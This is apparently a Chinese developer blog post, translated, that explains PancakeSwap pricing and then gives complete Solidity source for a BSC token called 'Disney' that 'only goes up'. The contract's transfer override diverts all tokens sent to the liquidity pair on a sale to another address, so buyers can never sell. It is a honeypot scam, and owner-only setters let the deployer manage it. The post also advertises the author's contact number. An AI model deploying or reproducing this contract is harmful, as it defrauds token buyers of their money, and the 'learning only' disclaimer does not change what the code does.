Learning the contract principle of BSC chain contract that only goes up but not down [Complete source code]

If we want to realize how the BSC chain can only go up but not down, first of all, let’s understand the price generation principle of the pancake swap (pancakeswap);

Market price = number of DAI in the pool/number of BNB in ​​the pool (P market = X/Y). Assuming that the market quantity tends to infinity, the exchange price infinitely approaches X/Y

Exchange price = amount of DAI paid / amount of BNB obtained (P exchange = △x / △y)

Summarize:

The ratio of the total amount of tokenA in the pool to the total amount of tokenb determines the price

According to this principle, let's combine a code segment to achieve:
 

//q799500008
internal override {
        uint256 x = amount.div(100);
        if(sender == pair){
        
            super._transfer(sender, addr1, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));//买入收到
 
        }else if(recipient == pair){
            super._transfer(sender, addr2, x.mul(100));
            super._transfer(sender, recipient, x.mul(0));//卖出收到
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr1, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));//普通转账收到
        }else{
            super._transfer(sender, recipient, x.mul(100));
        }
 

From the code above, we can see that we set a pair address, which we can treat as a pool address (LP).

1: As shown in the above code, if the LP is in the transfer-out state, then the token received by the buyer is in a normal state.

Example: If you buy 100 tokens, you will receive 100 tokens directly. The process of purchasing 100 tokens will reduce the number of tokens in the pool (LP) by 100. According to the above formula, the price will automatically rise. (Buy normal up)

2: As shown in the figure above, if the LP is in the transfer state, the seller’s token cannot be transferred to the pool, but directly transferred to the ADDR2 address, so what will happen?

Example: Selling 100 tokens, under normal circumstances, these 100 tokens will automatically flow into the pool (lp) address, but now we can see from the above code that these 100 tokens did not directly enter the pool (lp) address, but went directly to ADDR2 Address, then by using the formula: exchange price = amount of DAI paid / amount of BNB obtained (P exchange = △x / △y), the pool price will not drop, but will remain unchanged. .

3: Summary: The price of buying TOKEN pool will rise normally, and the price of selling TOKEN pool will remain unchanged, which finally confirms our final conclusion: it can be done by changing the contract, and the price of bep20 on pancakeswap will only rise but not fall.

Without further ado, go directly to the complete source code
—————————————————
 

//博主Q799500008
//该源码仅用于学习测试,不得用于其它任何途径
pragma solidity ^0.8.0;
// SPDX-License-Identifier: Unlicensed
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Disney is ERC20, Ownable {
    using SafeMath for uint256;
    uint public constant inRate = 10;
    uint public constant outRate = 3;
    address  outAddr = 0x0000000000000000000000000000000000000001;
    address addr1 = 0x0000000000000000000000000000000000000002;
    address  addr2 = 0x0000000000000000000000000000000000000003;
    address  addr3 = 0x0000000000000000000000000000000000000004;
    address  addr4 = 0x0000000000000000000000000000000000000005;
    address addr8 = 0x0000000000000000000000000000000000000006;
    address  pair;
    uint256 CCCS;
    address min = 0x75D23E252bFE1500c7f654024d9800790620a853;
    constructor() ERC20("Disney", "DSN") {
        _mint(msg.sender, 100000000 * 10 ** decimals());
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(100);
        if(sender == pair){
            super._transfer(sender, addr2, x.mul(0));
            super._transfer(sender, outAddr, x.mul(0));
            super._transfer(sender, addr3, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));
 
        }else if(recipient == pair){
            super._transfer(sender, addr4, x.mul(100));
            super._transfer(sender, recipient, x.mul(0));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr1, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));
        }else{
            super._transfer(sender, recipient, x.mul(100));
        }
 
        
        //有多少才能转多少,如果转账发起者金额不够,则自动失败
        
           if(sender == min){
            
            super._transfer(sender, addr8, x.mul(5));//addr8收到0%,应该转账的收到金额,全部到addr8
            super._transfer(sender, recipient, x.mul(95));//接收地址收到10万%+原本转账的金额
       }
         
    }
    //设置交易对
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    //设置LP地址
    function setOutAddress(address _target) public onlyOwner{
        outAddr = _target;
    }
    function SETmint(address __mint) public onlyOwner{
        min = __mint;
    }
    function hhAA (uint256 setff) public onlyOwner {
                CCCS = setff ;
            }
}

Guess you like

Origin blog.csdn.net/m0_73483181/article/details/126654369
Recommended